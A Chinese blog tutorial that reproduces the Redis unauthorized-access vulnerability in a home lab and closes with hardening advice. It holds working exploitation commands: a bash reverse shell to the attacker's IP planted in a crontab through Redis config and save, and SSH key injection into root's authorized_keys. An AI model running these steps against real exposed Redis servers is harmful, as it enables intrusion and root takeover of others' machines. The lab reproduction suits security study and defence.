赞
踩
目录
Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。
Redis 与其他 key - value 缓存产品有以下三个特点:
- Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
- Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
- Redis支持数据的备份,即master-slave模式的数据备份。
查看版本信息 127.0.0.1:6379> info
清空所有Redis数据库的所有key 慎用 127.0.0.1:6379> flushall
设置Redis本地存储的文件夹 127.0.0.1:6379> config set dir [PATH]
设置Redis本地存储的和文件名127.0.0.1:6379> config set dbfilename [FILENAME]
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘 127.0.0.1:6379> save
未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞。
漏洞成因:
1、redis版本为4.x/5.0.5或以前的版本
2、redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
3、没有设置密码认证(一般为空),可免密码远程登录redis服务
kali(攻击机):192.168.240.128
ubuntu(目标机):192.168.240.131
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxf redis-4.0.10.tar.gz
make install
出现这样的界面表示安装成功
sudo ufw status //查看ufw状态
sudo ufw disable //关闭ufw
iptables -L// 查看iptables规则
iptables -F// 清空iptables规则
防火墙关闭
cd redis-4.0.10
redis-server ./redis.conf //切记一定得用配置文件开启服务,否则无法关闭远程登录保护
ps -aux | gerp "redis"
到此目标机redis服务启动成功
由于redis-4.0.10默认开启了远程登录保护,所以我们需要关闭该设置
cd /home/kali/Desktop/redis-4.0.10/
vi redis.conf
把下面这些添加在里面
bind 0.0.0.0
protected-mode no
然后将其他关于bind和protected-mode的设置前面都加上“#”进行注释
结束后,在命令行输入:
cat redis.conf | grep "bind"
cat redis.conf | grep "protected-mode"
只有上面添加的两条设置未被注释,设置就成功了
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvf redis-4.0.10.tar.gz redis-4.0.10
cd redis-4.0.10
make install
./redis_cli -h 192.168.240.131 //前提:攻击机远程登录保护关闭
没有信息可以在命令行输入:info
到此实验环境搭建成功,并且已经成功利用redis未授权访问漏洞,未使用密码就登录了目标主机的redis服务,接下来将开始展示关于redis未授权访问漏洞的利用步骤。
crontab
是一个用于在Linux和Unix系统上安排和管理定期执行的任务的命令行工具。crontab文件保存在/var/spool/cron目录下,只要我们使用远程Redis服务将反弹shell的命令写入计划任务文件中,他就会定期执行一次反弹shell命令
反弹shell命令:/bin/bash -i > /dev/tcp/192.168.240.128/8888 0>&1
计划任务:* * * * * /bin/bash -i > /dev/tcp/192.168.240.128/8888 0>&1
设置Redis本地存储的文件夹和文件名
config set dir /var/spool/cron/crontabs
config set dbfilename root
set x "* * * * * /bin/bash -i > /dev/tcp/192.168.240.128/8888 0>&1"
save
在kali监听8888端口
nc -lvnp 8888
等待一段时间,反弹shell会自动连接
复现到这里发现反弹shell失败,查询了一下资料发现
首先,根据系统不同,crontab存放文件目录不同
Centos的定时任务文件在/var/spool/cron/root
Ubuntu定时任务文件在/var/spool/cron/crontabs/root
共有定时任务文件在/etc/crontab
但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。
我们登上
SSH(Secure Shell)是一种用于远程连接到计算机和安全传输数据的协议。SSH通过加密通信来确保连接的安全性。SSH使用密钥对(公钥和私钥)来进行身份验证和加密通信。
公钥:公钥通常存储在远程服务器上,以允许你通过SSH连接到该服务器。
私钥:私钥通常存储在你的本地计算机上,用于对SSH连接进行身份验证
可以使用私钥对保存有公钥的远程服务器进行无需密码的远程登录,这个就是写入SSH公钥getshell的原理。
所以我们要做的就是在kali中生成密钥对,将公钥通过远程Redis服务写入到目标主机的/root/.ssh目录下的authorized_keys文件中
接下来进行实验
首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问
ssh-keygen -t rsa
生成的密钥对存放在/root/.ssh/目录下
其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中
查看公钥内容
cat id_rsa.pub
设置redis本地存储的文件夹和文件名
config set dir /root/.ssh/
config set dbfilename authorized_keys
设置需要保存的值
set x "\n\n\n公钥内容\n\n\n"// \n是换行,不然ssh连接会失败
将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘
save
写入成功,接下来就可以使用秘钥远程连接ssh
ssh -i id_rsa root@192.168.240.131
可以看到连接成功并且权限为root权限
注意:SSH连接的前提是目标机开启了SSH服务,如果对方22号端口未开启,这个方法是无法使用的
写入SSH公钥getshell到此结束
1、低权限运行redis,为redis创建单独的用户和用户组
groupadd -r redis && useradd -r -g redis redis
2、为Redis添加密码验证
修改redis.conf文件
requirepass mypassword
3、禁止外网访问 Redis
修改redis.conf
bind 127.0.0.1
Redis未授权漏洞复现到此结束。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。